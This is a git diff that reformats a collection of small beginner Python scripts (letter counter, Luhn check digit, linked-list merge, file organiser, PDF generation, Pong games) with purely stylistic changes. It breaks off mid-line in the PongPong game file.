--- a/JsonParser.py +++ b/JsonParser.py @@ -26,7 +26,7 @@ def convert_python_to_json(self, par_data_dic, par_json_file=""): return: json string """ if par_json_file: - with open(par_json_file, 'w') as outfile: + with open(par_json_file, "w") as outfile: return json.dump(par_data_dic, outfile) else: return json.dump(par_data_dic) diff --git a/Koch Curve/koch curve.py b/Koch Curve/koch curve.py index 95529d2798b..77b31cc22f5 100644 --- a/Koch Curve/koch curve.py +++ b/Koch Curve/koch curve.py @@ -20,7 +20,7 @@ def snowflake(lengthSide, levels): # main function if __name__ == "__main__": - t=turtle.Pen() + t = turtle.Pen() t.speed(0) # defining the speed of the turtle length = 300.0 # t.penup() # Pull the pen up – no drawing when moving. @@ -33,5 +33,4 @@ def snowflake(lengthSide, levels): snowflake(length, 4) t.right(120) # To control the closing windows of the turtle - #mainloop() - + # mainloop() diff --git a/Letter_Counter.py b/Letter_Counter.py index 1456a221e2b..b900c72b4dc 100644 --- a/Letter_Counter.py +++ b/Letter_Counter.py @@ -1,24 +1,45 @@ import tkinter as tk + root = tk.Tk() root.geometry("400x260+50+50") root.title("Welcome to Letter Counter App") message1 = tk.StringVar() Letter1 = tk.StringVar() + + def printt(): - message=message1.get() - letter=Letter1.get() + message = message1.get() + letter = Letter1.get() message = message.lower() letter = letter.lower() # Get the count and display results. letter_count = message.count(letter) a = "your message has " + str(letter_count) + " " + letter + "'s in it." - labl = tk.Label(root,text=a,font=('arial',15),fg='black').place(x=10,y=220) -lbl = tk.Label(root,text="Enter the Message--",font=('Ubuntu',15),fg='black').place(x=10,y=10) -lbl1 = tk.Label(root,text="Enter the Letter you want to count--",font=('Ubuntu',15),fg='black').place(x=10,y=80) -E1= tk.Entry(root,font=("arial",15),textvariable=message1,bg="white",fg="black").place(x=10,y=40,height=40,width=340) -E2= tk.Entry(root,font=("arial",15),textvariable=Letter1,bg="white",fg="black").place(x=10,y=120,height=40,width=340) -but = tk.Button(root,text="Check",command=printt,cursor="hand2",font=("Times new roman",30),fg="white",bg="black").place(x=10,y=170,height=40,width=380) + labl = tk.Label(root, text=a, font=("arial", 15), fg="black").place(x=10, y=220) + + +lbl = tk.Label(root, text="Enter the Message--", font=("Ubuntu", 15), fg="black").place( + x=10, y=10 +) +lbl1 = tk.Label( + root, text="Enter the Letter you want to count--", font=("Ubuntu", 15), fg="black" +).place(x=10, y=80) +E1 = tk.Entry( + root, font=("arial", 15), textvariable=message1, bg="white", fg="black" +).place(x=10, y=40, height=40, width=340) +E2 = tk.Entry( + root, font=("arial", 15), textvariable=Letter1, bg="white", fg="black" +).place(x=10, y=120, height=40, width=340) +but = tk.Button( + root, + text="Check", + command=printt, + cursor="hand2", + font=("Times new roman", 30), + fg="white", + bg="black", +).place(x=10, y=170, height=40, width=380) # print("In this app, I will count the number of times that a specific letter occurs in a message.") # message = input("\nPlease enter a message: ") # letter = input("Which letter would you like to count the occurrences of?: ") diff --git a/List.py b/List.py index 9c4e78c0f22..34d29322069 100644 --- a/List.py +++ b/List.py @@ -1,9 +1,9 @@ List = [] # List is Muteable # means value can be change -List.insert(0 , 5) -List.insert(1,10) -List.insert(0,6) +List.insert(0, 5) +List.insert(1, 10) +List.insert(0, 6) print(List) List.remove(6) List.append(9) @@ -26,10 +26,10 @@ for i in list2: if i % 2 == 0: print(i) -''' +""" Expected Output: 2 10 12 4 -''' +""" diff --git a/Luhn_Algorithm.py b/Luhn_Algorithm.py index 292529fbe28..51eb03672aa 100644 --- a/Luhn_Algorithm.py +++ b/Luhn_Algorithm.py @@ -37,7 +37,7 @@ # Put the newly-doubled values in a new list newdoubled = [] for i in tobedoubled: - i = i*2 + i = i * 2 newdoubled.append(i) tobedoubled = newdoubled @@ -48,7 +48,7 @@ if i > 9: splitdigit = str(i) for index in range(0, len(splitdigit), 1): - newdoubled.append(splitdigit[index:index+1]) + newdoubled.append(splitdigit[index : index + 1]) tobedoubled.remove(i) newdoubled = [int(i) for i in newdoubled] @@ -63,6 +63,6 @@ print("Sum of all digits:", sum(luhnsum)) checkdigit = 10 - sum(luhnsum) % 10 print("Check digit:", checkdigit) -finalcc = str(CC)+str(checkdigit) +finalcc = str(CC) + str(checkdigit) print("Full valid number (11 digits):", finalcc) input() diff --git a/Memory_game.py b/Memory_game.py index 470310e95ed..aca7f2fe81c 100644 --- a/Memory_game.py +++ b/Memory_game.py @@ -49,9 +49,14 @@ def draw(canvas): gap = 0 for i in range(0, 16, 1): if exposed[i] == False: - canvas.draw_polygon([[0 + gap, 0], [0 + gap, 100], [50 + gap, 100], [50 + gap, 0]], 1, "Black", "Green") + canvas.draw_polygon( + [[0 + gap, 0], [0 + gap, 100], [50 + gap, 100], [50 + gap, 0]], + 1, + "Black", + "Green", + ) elif exposed[i] == True: - canvas.draw_text(str(card1[i]), [15 + gap, 65], 50, 'White') + canvas.draw_text(str(card1[i]), [15 + gap, 65], 50, "White") gap += 50 diff --git a/Merge_linked_list.py b/Merge_linked_list.py index 026b13b26ed..1dce7381d17 100644 --- a/Merge_linked_list.py +++ b/Merge_linked_list.py @@ -1,107 +1,107 @@ -# Python3 program merge two sorted linked -# in third linked list using recursive. - -# Node class -class Node: - def __init__(self, data): - self.data = data - self.next = None - - -# Constructor to initialize the node object -class LinkedList: - - # Function to initialize head - def __init__(self): - self.head = None - - # Method to print linked list - def printList(self): - temp = self.head - - while temp : - print(temp.data, end="->") - temp = temp.next - - # Function to add of node at the end. - def append(self, new_data): - new_node = Node(new_data) - - if self.head is None: - self.head = new_node - return - last = self.head - - while last.next: - last = last.next - last.next = new_node - - -# Function to merge two sorted linked list. -def mergeLists(head1, head2): - - # create a temp node NULL - temp = None - - # List1 is empty then return List2 - if head1 is None: - return head2 - - # if List2 is empty then return List1 - if head2 is None: - return head1 - - # If List1's data is smaller or - # equal to List2's data - if head1.data <= head2.data: - - # assign temp to List1's data - temp = head1 - - # Again check List1's data is smaller or equal List2's - # data and call mergeLists function. - temp.next = mergeLists(head1.next, head2) - - else: - # If List2's data is greater than or equal List1's - # data assign temp to head2 - temp = head2 - - # Again check List2's data is greater or equal List's - # data and call mergeLists function. - temp.next = mergeLists(head1, head2.next) - - # return the temp list. - return temp - - -# Driver Function -if __name__ == '__main__': - - # Create linked list : - # 10->20->30->40->50 - list1 = LinkedList() - list1.append(10) - list1.append(20) - list1.append(30) - list1.append(40) - list1.append(50) - - # Create linked list 2 : - # 5->15->18->35->60 - list2 = LinkedList() - list2.append(5) - list2.append(15) - list2.append(18) - list2.append(35) - list2.append(60) - - # Create linked list 3 - list3 = LinkedList() - - # Merging linked list 1 and linked list 2 - # in linked list 3 - list3.head = mergeLists(list1.head, list2.head) - - print(" Merged Linked List is : ", end="") - list3.printList() +# Python3 program merge two sorted linked +# in third linked list using recursive. + +# Node class +class Node: + def __init__(self, data): + self.data = data + self.next = None + + +# Constructor to initialize the node object +class LinkedList: + + # Function to initialize head + def __init__(self): + self.head = None + + # Method to print linked list + def printList(self): + temp = self.head + + while temp: + print(temp.data, end="->") + temp = temp.next + + # Function to add of node at the end. + def append(self, new_data): + new_node = Node(new_data) + + if self.head is None: + self.head = new_node + return + last = self.head + + while last.next: + last = last.next + last.next = new_node + + +# Function to merge two sorted linked list. +def mergeLists(head1, head2): + + # create a temp node NULL + temp = None + + # List1 is empty then return List2 + if head1 is None: + return head2 + + # if List2 is empty then return List1 + if head2 is None: + return head1 + + # If List1's data is smaller or + # equal to List2's data + if head1.data <= head2.data: + + # assign temp to List1's data + temp = head1 + + # Again check List1's data is smaller or equal List2's + # data and call mergeLists function. + temp.next = mergeLists(head1.next, head2) + + else: + # If List2's data is greater than or equal List1's + # data assign temp to head2 + temp = head2 + + # Again check List2's data is greater or equal List's + # data and call mergeLists function. + temp.next = mergeLists(head1, head2.next) + + # return the temp list. + return temp + + +# Driver Function +if __name__ == "__main__": + + # Create linked list : + # 10->20->30->40->50 + list1 = LinkedList() + list1.append(10) + list1.append(20) + list1.append(30) + list1.append(40) + list1.append(50) + + # Create linked list 2 : + # 5->15->18->35->60 + list2 = LinkedList() + list2.append(5) + list2.append(15) + list2.append(18) + list2.append(35) + list2.append(60) + + # Create linked list 3 + list3 = LinkedList() + + # Merging linked list 1 and linked list 2 + # in linked list 3 + list3.head = mergeLists(list1.head, list2.head) + + print(" Merged Linked List is : ", end="") + list3.printList() diff --git a/MobiusFunction.py b/MobiusFunction.py index ae9e6b0a123..ba1d3561658 100644 --- a/MobiusFunction.py +++ b/MobiusFunction.py @@ -1,8 +1,8 @@ def is_square_free(factors): - ''' + """ This functions takes a list of prime factors as input. returns True if the factors are square free. - ''' + """ for i in factors: if factors.count(i) > 1: return False @@ -10,9 +10,9 @@ def is_square_free(factors): def prime_factors(n): - ''' + """ Returns prime factors of n as a list. - ''' + """ i = 2 factors = [] while i * i <= n: @@ -27,9 +27,9 @@ def prime_factors(n): def mobius_function(n): - ''' + """ Defines Mobius function - ''' + """ factors = prime_factors(n) if is_square_free(factors): if len(factors) % 2 == 0: diff --git a/Mp3_media_player.py b/Mp3_media_player.py index 3677f3e66dc..0eff5d9c379 100644 --- a/Mp3_media_player.py +++ b/Mp3_media_player.py @@ -7,17 +7,18 @@ from tkinter import * root = Tk() -root.minsize(300,300) +root.minsize(300, 300) listofsongs = [] realnames = [] v = StringVar() -songlabel = Label(root,textvariable=v,width=35) +songlabel = Label(root, textvariable=v, width=35) index = 0 + def directorychooser(): directory = askdirectory() @@ -28,24 +29,23 @@ def directorychooser(): realdir = os.path.realpath(files) audio = ID3(realdir) - realnames.append(audio['TIT2'].text[0]) - + realnames.append(audio["TIT2"].text[0]) listofsongs.append(files) - pygame.mixer.init() pygame.mixer.music.load(listofsongs[0]) - #pygame.mixer.music.play() + # pygame.mixer.music.play() + directorychooser() + def updatelabel(): global index global songname v.set(realnames[index]) - #return songname - + # return songname def nextsong(event): @@ -55,6 +55,7 @@ def nextsong(event): pygame.mixer.music.play() updatelabel() + def prevsong(event): global index index -= 1 @@ -66,51 +67,40 @@ def prevsong(event): def stopsong(event): pygame.mixer.music.stop() v.set("") - #return songname + # return songname -label = Label(root,text='Music Player') +label = Label(root, text="Music Player") label.pack() listbox = Listbox(root) listbox.pack() -#listofsongs.reverse() +# listofsongs.reverse() realnames.reverse() for items in realnames: - listbox.insert(0,items) + listbox.insert(0, items) realnames.reverse() -#listofsongs.reverse() +# listofsongs.reverse() -nextbutton = Button(root,text = 'Next Song') +nextbutton = Button(root, text="Next Song") nextbutton.pack() -previousbutton = Button(root,text = 'Previous Song') +previousbutton = Button(root, text="Previous Song") previousbutton.pack() -stopbutton = Button(root,text='Stop Music') +stopbutton = Button(root, text="Stop Music") stopbutton.pack() -nextbutton.bind("",nextsong) -previousbutton.bind("",prevsong) -stopbutton.bind("",stopsong) +nextbutton.bind("", nextsong) +previousbutton.bind("", prevsong) +stopbutton.bind("", stopsong) songlabel.pack() - - - - - - - - - - - root.mainloop() diff --git a/MySQL_Databses.py b/MySQL_Databses.py index 2ac0ffdf3e0..b9148ab708f 100644 --- a/MySQL_Databses.py +++ b/MySQL_Databses.py @@ -3,10 +3,7 @@ # MySQl databses details mydb = mysql.connector.connect( - host="0.0.0.0", - user="root", - passwd="", - database="db_name" + host="0.0.0.0", user="root", passwd="", database="db_name" ) mycursor = mydb.cursor() diff --git a/Organise.py b/Organise.py index 00d3155a241..4133e4138fc 100644 --- a/Organise.py +++ b/Organise.py @@ -4,20 +4,47 @@ import shutil import sys -EXT_VIDEO_LIST = ['FLV', 'WMV', 'MOV', 'MP4', 'MPEG', '3GP', 'MKV', 'AVI'] -EXT_IMAGE_LIST = ['JPG', 'JPEG', 'GIF', 'PNG', 'SVG'] -EXT_DOCUMENT_LIST = ['DOC', 'DOCX', 'PPT', 'PPTX', 'PAGES', 'PDF', 'ODT', 'ODP', 'XLSX', 'XLS', 'ODS', 'TXT', 'IN', - 'OUT', 'MD'] -EXT_MUSIC_LIST = ['MP3', 'WAV', 'WMA', 'MKA', 'AAC', 'MID', 'RA', 'RAM', 'RM', 'OGG'] -EXT_CODE_LIST = ['CPP', 'RB', 'PY', 'HTML', 'CSS', 'JS'] -EXT_EXECUTABLE_LIST = ['LNK', 'DEB', 'EXE', 'SH', 'BUNDLE'] -EXT_COMPRESSED_LIST = ['RAR', 'JAR', 'ZIP', 'TAR', 'MAR', 'ISO', 'LZ', '7ZIP', 'TGZ', 'GZ', 'BZ2'] +EXT_VIDEO_LIST = ["FLV", "WMV", "MOV", "MP4", "MPEG", "3GP", "MKV", "AVI"] +EXT_IMAGE_LIST = ["JPG", "JPEG", "GIF", "PNG", "SVG"] +EXT_DOCUMENT_LIST = [ + "DOC", + "DOCX", + "PPT", + "PPTX", + "PAGES", + "PDF", + "ODT", + "ODP", + "XLSX", + "XLS", + "ODS", + "TXT", + "IN", + "OUT", + "MD", +] +EXT_MUSIC_LIST = ["MP3", "WAV", "WMA", "MKA", "AAC", "MID", "RA", "RAM", "RM", "OGG"] +EXT_CODE_LIST = ["CPP", "RB", "PY", "HTML", "CSS", "JS"] +EXT_EXECUTABLE_LIST = ["LNK", "DEB", "EXE", "SH", "BUNDLE"] +EXT_COMPRESSED_LIST = [ + "RAR", + "JAR", + "ZIP", + "TAR", + "MAR", + "ISO", + "LZ", + "7ZIP", + "TGZ", + "GZ", + "BZ2", +] # Taking the location of the Folder to Arrange try: destLocation = str(sys.argv[1]) except IndexError: - destLocation = str(input('Enter the Path of directory: ')) + destLocation = str(input("Enter the Path of directory: ")) # When we make a folder that already exist then WindowsError happen @@ -26,9 +53,9 @@ def ChangeDirectory(dir): try: os.chdir(dir) except WindowsError: - print('Error! Cannot change the Directory') - print('Enter a valid directory!') - ChangeDirectory(str(input('Enter the Path of directory: '))) + print("Error! Cannot change the Directory") + print("Enter a valid directory!") + ChangeDirectory(str(input("Enter the Path of directory: "))) ChangeDirectory(destLocation) @@ -37,29 +64,47 @@ def ChangeDirectory(dir): def Organize(dirs, name): try: os.mkdir(name) - print('{} Folder Created'.format(name)) + print("{} Folder Created".format(name)) except WindowsError: - print('{} Folder Exist'.format(name)) + print("{} Folder Exist".format(name)) - src = '{}\\{}'.format(destLocation, dirs) - dest = '{}\{}'.format(destLocation, name) + src = "{}\\{}".format(destLocation, dirs) + dest = "{}\{}".format(destLocation, name) os.chdir(dest) - shutil.move(src, '{}\\{}'.format(dest, dirs)) + shutil.move(src, "{}\\{}".format(dest, dirs)) print(os.getcwd()) os.chdir(destLocation) -TYPES_LIST = ['Video', 'Images', 'Documents', 'Music', 'Codes', 'Executables', 'Compressed'] +TYPES_LIST = [ + "Video", + "Images", + "Documents", + "Music", + "Codes", + "Executables", + "Compressed", +] for dirs in os.listdir(os.getcwd()): if 1: - for name, extensions_list in zip(TYPES_LIST, [EXT_VIDEO_LIST, EXT_IMAGE_LIST, EXT_DOCUMENT_LIST, EXT_MUSIC_LIST, - EXT_CODE_LIST, EXT_EXECUTABLE_LIST, EXT_COMPRESSED_LIST]): - if dirs.split('.')[-1].upper() in extensions_list: + for name, extensions_list in zip( + TYPES_LIST, + [ + EXT_VIDEO_LIST, + EXT_IMAGE_LIST, + EXT_DOCUMENT_LIST, + EXT_MUSIC_LIST, + EXT_CODE_LIST, + EXT_EXECUTABLE_LIST, + EXT_COMPRESSED_LIST, + ], + ): + if dirs.split(".")[-1].upper() in extensions_list: Organize(dirs, name) else: if dirs not in TYPES_LIST: - Organize(dirs, 'Folders') + Organize(dirs, "Folders") -print('Done Arranging Files and Folder in your specified directory') +print("Done Arranging Files and Folder in your specified directory") diff --git a/PDF/basic.py b/PDF/basic.py index 55927fb12ed..6bc7c5c77c4 100644 --- a/PDF/basic.py +++ b/PDF/basic.py @@ -5,30 +5,30 @@ pdf = FPDF() # Set Author Name of the PDF -pdf.set_author('@NavonilDas') +pdf.set_author("@NavonilDas") # Set Subject of The PDF -pdf.set_subject('python') +pdf.set_subject("python") # Set the Title of the PDF -pdf.set_title('Generating PDF with Python') +pdf.set_title("Generating PDF with Python") pdf.add_page() # Set Font family Courier with font size 28 -pdf.set_font("Courier", '', 18) +pdf.set_font("Courier", "", 18) # Add Text at (0,50) pdf.text(0, 50, "Example to generate PDF in python.") # Set Font Family Courier with italic and font size 28 -pdf.set_font("Courier", 'i', 28) +pdf.set_font("Courier", "i", 28) pdf.text(0, 60, "This is an italic text") # Write text at 0,60 # Draw a Rectangle at (10,100) with Width 60,30 -pdf.rect(10, 100, 60, 30, 'D') +pdf.rect(10, 100, 60, 30, "D") # Set Fill color pdf.set_fill_color(255, 0, 0) # Red = (255,0,0) # Draw a Circle at (10,135) with diameter 50 -pdf.ellipse(10, 135, 50, 50, 'F') +pdf.ellipse(10, 135, 50, 50, "F") # Save the Output at Local File -pdf.output('output.pdf', 'F') +pdf.output("output.pdf", "F") diff --git a/PDF/header_footer.py b/PDF/header_footer.py index 49f2bcf3611..f7b50037796 100644 --- a/PDF/header_footer.py +++ b/PDF/header_footer.py @@ -3,46 +3,47 @@ # Author: @NavonilDas + class MyPdf(FPDF): def header(self): # Uncomment the line below to add logo if needed # self.image('somelogo.png',12,10,25,25) # Draw Image ar (12,10) with height = 25 and width = 25 - self.set_font('Arial', 'B', 18) - self.text(27, 10, 'Generating PDF With python') + self.set_font("Arial", "B", 18) + self.text(27, 10, "Generating PDF With python") self.ln(10) def footer(self): # Set Position at 1cm (10mm) From Bottom self.set_y(-10) # Arial italic 8 - self.set_font('Arial', 'I', 8) + self.set_font("Arial", "I", 8) # set Page number at the bottom - self.cell(0, 10, 'Page No {}'.format(self.page_no()), 0, 0, 'C') + self.cell(0, 10, "Page No {}".format(self.page_no()), 0, 0, "C") pass pdf = MyPdf() # Set Author Name of the PDF -pdf.set_author('@NavonilDas') +pdf.set_author("@NavonilDas") # Set Subject of The PDF -pdf.set_subject('python') +pdf.set_subject("python") # Set the Title of the PDF -pdf.set_title('Generating PDF with Python') +pdf.set_title("Generating PDF with Python") pdf.add_page() # Set Font family Courier with font size 28 -pdf.set_font("Courier", '', 18) +pdf.set_font("Courier", "", 18) # Add Text at (0,50) pdf.text(0, 50, "Example to generate PDF in python.") # Set Font Family Courier with italic and font size 28 -pdf.set_font("Courier", 'i', 28) +pdf.set_font("Courier", "i", 28) pdf.text(0, 60, "This is an italic text") # Write text at 0,60 pdf.add_page() # Center Text With border and a line break with height=10mm -pdf.cell(0, 10, 'Hello There', 1, 1, 'C') +pdf.cell(0, 10, "Hello There", 1, 1, "C") # Save the Output at Local File -pdf.output('output.pdf', 'F') +pdf.output("output.pdf", "F") diff --git a/PDF/images.py b/PDF/images.py index f2e7f0bb76e..ad3c4033908 100644 --- a/PDF/images.py +++ b/PDF/images.py @@ -9,11 +9,11 @@ pdf = FPDF() # Size of a A4 Page in mm Where P is for Potrait and L is for Landscape -A4_SIZE = {'P': {'w': 210, 'h': 297}, 'L': {'w': 297, 'h': 210}} +A4_SIZE = {"P": {"w": 210, "h": 297}, "L": {"w": 297, "h": 210}} # pdf may produce empty page so we need to set auto page break as false pdf.set_auto_page_break(0) -for filename in os.listdir('images'): +for filename in os.listdir("images"): try: # Read Image file so that we can cover the complete image properly and if invalid image file skip those files img = Image.open("images\\" + filename) @@ -28,11 +28,11 @@ width, height = float(width * 0.264583), float(height * 0.264583) # Check if Width is greater than height so to know the image is in landscape or else in potrait - orientation = 'P' if width < height else 'L' + orientation = "P" if width < height else "L" # Read the minimum of A4 Size and the image size - width = min(A4_SIZE[orientation]['w'], width) - height = min(A4_SIZE[orientation]['h'], height) + width = min(A4_SIZE[orientation]["w"], width) + height = min(A4_SIZE[orientation]["h"], height) # Add Page With an orientation pdf.add_page(orientation=orientation) @@ -42,4 +42,4 @@ except OSError: print("Skipped : " + filename) -pdf.output('output.pdf', 'F') +pdf.output("output.pdf", "F") diff --git a/PONG_GAME.py b/PONG_GAME.py index b43f79f5ee4..8ddec6661de 100644 --- a/PONG_GAME.py +++ b/PONG_GAME.py @@ -55,9 +55,15 @@ def draw(canvas): ball_pos[0] += ball_vel[0] ball_pos[1] += ball_vel[1] - if ball_pos[0] <= BALL_RADIUS + PAD_WIDTH or ball_pos[0] >= WIDTH - BALL_RADIUS - PAD_WIDTH: + if ( + ball_pos[0] <= BALL_RADIUS + PAD_WIDTH + or ball_pos[0] >= WIDTH - BALL_RADIUS - PAD_WIDTH + ): ball_vel[0] = -ball_vel[0] - elif ball_pos[1] <= BALL_RADIUS + PAD_WIDTH or ball_pos[1] >= HEIGHT - BALL_RADIUS - PAD_WIDTH: + elif ( + ball_pos[1] <= BALL_RADIUS + PAD_WIDTH + or ball_pos[1] >= HEIGHT - BALL_RADIUS - PAD_WIDTH + ): ball_vel[1] = -ball_vel[1] canvas.draw_circle(ball_pos, BALL_RADIUS, 1, "White", "White") @@ -75,19 +81,31 @@ def draw(canvas): elif paddle2_pos >= HEIGHT / 2 - PAD_HEIGHT / 2: paddle2_pos = HEIGHT / 2 - PAD_HEIGHT / 2 - canvas.draw_line([PAD_WIDTH / 2, paddle1_pos + HEIGHT / 2 - PAD_HEIGHT / 2], - [PAD_WIDTH / 2, paddle1_pos + PAD_HEIGHT / 2 + HEIGHT / 2], 10, "White") - canvas.draw_line([WIDTH - PAD_WIDTH / 2, paddle2_pos + HEIGHT / 2 - PAD_HEIGHT / 2], - [WIDTH - PAD_WIDTH / 2, PAD_HEIGHT / 2 + paddle2_pos + HEIGHT / 2], 10, "White") - - if (ball_pos[1] <= (paddle1_pos + HEIGHT / 2 - PAD_HEIGHT / 2) or ball_pos[1] >= ( - paddle1_pos + PAD_HEIGHT / 2 + HEIGHT / 2)) and ball_pos[0] == (PAD_WIDTH + BALL_RADIUS): + canvas.draw_line( + [PAD_WIDTH / 2, paddle1_pos + HEIGHT / 2 - PAD_HEIGHT / 2], + [PAD_WIDTH / 2, paddle1_pos + PAD_HEIGHT / 2 + HEIGHT / 2], + 10, + "White", + ) + canvas.draw_line( + [WIDTH - PAD_WIDTH / 2, paddle2_pos + HEIGHT / 2 - PAD_HEIGHT / 2], + [WIDTH - PAD_WIDTH / 2, PAD_HEIGHT / 2 + paddle2_pos + HEIGHT / 2], + 10, + "White", + ) + + if ( + ball_pos[1] <= (paddle1_pos + HEIGHT / 2 - PAD_HEIGHT / 2) + or ball_pos[1] >= (paddle1_pos + PAD_HEIGHT / 2 + HEIGHT / 2) + ) and ball_pos[0] == (PAD_WIDTH + BALL_RADIUS): score2 += 1 else: pass - if (ball_pos[1] <= (paddle2_pos + HEIGHT / 2 - PAD_HEIGHT / 2) or ball_pos[1] >= ( - paddle2_pos + PAD_HEIGHT / 2 + HEIGHT / 2)) and ball_pos[0] == (WIDTH - PAD_WIDTH - BALL_RADIUS): + if ( + ball_pos[1] <= (paddle2_pos + HEIGHT / 2 - PAD_HEIGHT / 2) + or ball_pos[1] >= (paddle2_pos + PAD_HEIGHT / 2 + HEIGHT / 2) + ) and ball_pos[0] == (WIDTH - PAD_WIDTH - BALL_RADIUS): score1 += 1 else: pass diff --git a/Palindrome_Checker.py b/Palindrome_Checker.py index c5827b21e6d..598c16d940d 100644 --- a/Palindrome_Checker.py +++ b/Palindrome_Checker.py @@ -5,7 +5,7 @@ """ phrase = input() if phrase == phrase[::-1]: # slicing technique - """phrase[::-1] this code is for reverse a string very smartly """ + """phrase[::-1] this code is for reverse a string very smartly""" print("\n Wow!, The phrase is a Palindrome!") else: diff --git a/PongPong_Game/pong/ball.py b/PongPong_Game/pong/ball.py index 15058096ffe..a60e0bf666a 100644 --- a/PongPong_Game/pong/ball.py +++ b/PongPong_Game/pong/ball.py @@ -6,24 +6,36 @@ class BallObject(pyglet.shapes.Circle): - def __init__(self, *args, **kwargs): super(BallObject, self).__init__(*args, **kwargs) self.color = (255, 180, 0) self.velocity_x, self.velocity_y = 0.0, 0.0 def update(self, win_size: Tuple, border: Tuple, other_object, dt) -> None: - speed = [2.37, 2.49, 2.54, 2.62, 2.71, 2.85, 2.96, 3.08, 3.17, 3.25] # more choices more randomness + speed = [ + 2.37, + 2.49, + 2.54, + 2.62, + 2.71, + 2.85, + 2.96, + 3.08, + 3.17, + 3.25, + ] # more choices more randomness rn = random.choice(speed) newx = self.x + self.velocity_x newy = self.y + self.velocity_y if newx < border + self.radius or newx > win_size[0] - border - self.radius: - self.velocity_x = -(self.velocity_x/abs(self.velocity_x))*rn + self.velocity_x = -(self.velocity_x / abs(self.velocity_x)) * rn elif newy > win_size[1] - border - self.radius: - self.velocity_y = -(self.velocity_y/abs(self.velocity_y))*rn - elif (newy-self.radius < other_object.height) and (other_object.x <= newx <= other_object.rightx): - self.velocity_y = -(self.velocity_y/abs(self.velocity_y))*rn + self.velocity_y = -(self.velocity_y / abs(self.velocity_y)) * rn + elif (newy - self.radius < other_object.height) and ( + other_object.x <= newx <= other_object.rightx + ): + self.velocity_y = -(self.velocity_y / abs(self.velocity_y)) * rn else: self.x = newx - self.y = newy \ No newline at end of file + self.y = newy diff --git a/PongPong_Game/pong/load.py b/PongPong_Game/pong/load.py index 4db267f9431..f06ff73da4e 100644 --- a/PongPong_Game/pong/load.py +++ b/PongPong_Game/pong/load.py @@ -3,29 +3,40 @@ from . import ball, paddle, rectangle from typing import Tuple -def load_balls(win_size : Tuple, radius : float, speed : Tuple, batch=None): + +def load_balls(win_size: Tuple, radius: float, speed: Tuple, batch=None): balls = [] - ball_x = win_size[0]/2 - ball_y = win_size[1]/2 + ball_x = win_size[0] / 2 + ball_y = win_size[1] / 2 new_ball = ball.BallObject(x=ball_x, y=ball_y, radius=radius, batch=batch) new_ball.velocity_x, new_ball.velocity_y = speed[0], speed[1] balls.append(new_ball) return balls -def load_paddles(paddle_pos : Tuple, width : float, height : float, acc : Tuple, batch=None): +def load_paddles( + paddle_pos: Tuple, width: float, height: float, acc: Tuple, batch=None +): paddles = [] - new_paddle = paddle.Paddle(x=paddle_pos[0], y=paddle_pos[1], width=width, height=height, batch=batch) + new_paddle = paddle.Paddle( + x=paddle_pos[0], y=paddle_pos[1], width=width, height=height, batch=batch + ) new_paddle.rightx = new_paddle.x + width new_paddle.acc_left, new_paddle.acc_right = acc[0], acc[1] paddles.append(new_paddle) return paddles -def load_rectangles(win_size : Tuple, border : float, batch=None): +def load_rectangles(win_size: Tuple, border: float, batch=None): rectangles = [] - top = rectangle.RectangleObject(x=0, y=win_size[1]-border, width=win_size[0], height=border, batch=batch) - left = rectangle.RectangleObject(x=0, y=0, width=border, height=win_size[1], batch=batch) - right = rectangle.RectangleObject(x=win_size[0] - border, y=0, width=border, height=win_size[1], batch=batch) + top = rectangle.RectangleObject( + x=0, y=win_size[1] - border, width=win_size[0], height=border, batch=batch + ) + left = rectangle.RectangleObject( + x=0, y=0, width=border, height=win_size[1], batch=batch + ) + right = rectangle.RectangleObject( + x=win_size[0] - border, y=0, width=border, height=win_size[1], batch=batch + ) rectangles.extend([left, top, right]) return rectangles diff --git a/PongPong_Game/pong/paddle.py b/PongPong_Game/pong/paddle.py index dd0f52a1ce2..f7df52071b0 100644 --- a/PongPong_Game/pong/paddle.py +++ b/PongPong_Game/pong/paddle.py @@ -6,7 +6,6 @@ class Paddle(pyglet.shapes.Rectangle): - def __init__(self, *args, **kwargs): super(Paddle, self).__init__(*args, **kwargs) @@ -15,7 +14,7 @@ def __init__(self, *args, **kwargs): self.key_handler = key.KeyStateHandler() self.event_handlers = [self, self.key_handler] - def update(self, win_size : Tuple, border : float, other_object, dt): + def update(self, win_size: Tuple, border: float, other_object, dt): newlx = self.x + self.acc_left newrx = self.x + self.acc_right @@ -30,6 +29,6 @@ def update(self, win_size : Tuple, border : float, other_object, dt): if self.x < border: self.x = border self.rightx = self.x + self.width - elif self.rightx > win_size[0]-border: - self.x = win_size[0]-border-self.width - self.rightx = self.x + self.width \ No newline at end of file + elif self.rightx > win_size[0] - border: + self.x = win_size[0] - border - self.width + self.rightx = self.x + self.width diff --git a/PongPong_Game/pong/rectangle.py b/PongPong_Game/pong/rectangle.py index 261eb177c75..90768633281 100644 --- a/PongPong_Game/pong/rectangle.py +++ b/PongPong_Game/pong/rectangle.py @@ -2,7 +2,7 @@ import pyglet -class RectangleObject(pyglet.shapes.Rectangle): +class RectangleObject(pyglet.shapes.Rectangle): def __init__(self, *args, **kwargs): super(RectangleObject, self).__init__(*args, **kwargs) diff --git a/PongPong_Game/pongpong.py b/PongPong_Game/pongpong.py index a8c363203e9..b9afd45bae7 100644 --- a/PongPong_Game/pongpong.py +++ b/PongPong_Game/pongpong.py @@ -4,14 +4,17 @@ from pong import load # Variables, Considering a vertical oriented window for game -WIDTH = 600 # Game Window Width +WIDTH = 600 # Game Window Width HEIGHT = 600 # Game Window Height -BORDER = 10 # Walls Thickness/Border Thickness -RADIUS = 12 # Ball Radius +BORDER = 10 # Walls Thickness/Border Thickness +RADIUS = 12 # Ball Radius PWIDTH = 120 # Paddle Width PHEIGHT = 15 # Paddle Height -ballspeed = (-2, -2) # Initially ball will be falling with speed (x, y) -paddleacc = (-5, 5) # Paddle Acceleration on both sides - left: negative acc, right: positive acc, for x-axis +ballspeed = (-2, -2) # Initially ball will be falling with speed (x, y) +paddleacc = ( + -5, + 5, +) # Paddle Acceleration on both sides - left: negative acc, right: positive acc, for x-axis class PongPongWindow(pyglet.window.Window): @@ -19,18 +22,22 @@ def __init__(self, *args, **kwargs): super(PongPongWindow, self).__init__(*args, **kwargs) self.win_size = (WIDTH, HEIGHT) - self.paddle_pos = (WIDTH/2-PWIDTH/2, 0) + self.paddle_pos = (WIDTH / 2 - PWIDTH / 2, 0) self.main_batch = pyglet.graphics.Batch() self.walls = load.load_rectangles(self.win_size, BORDER, batch=self.main_batch) - self.balls = load.load_balls(self.win_size, RADIUS, speed=ballspeed, batch=self.main_batch) - self.paddles = load.load_paddles(self.paddle_pos, 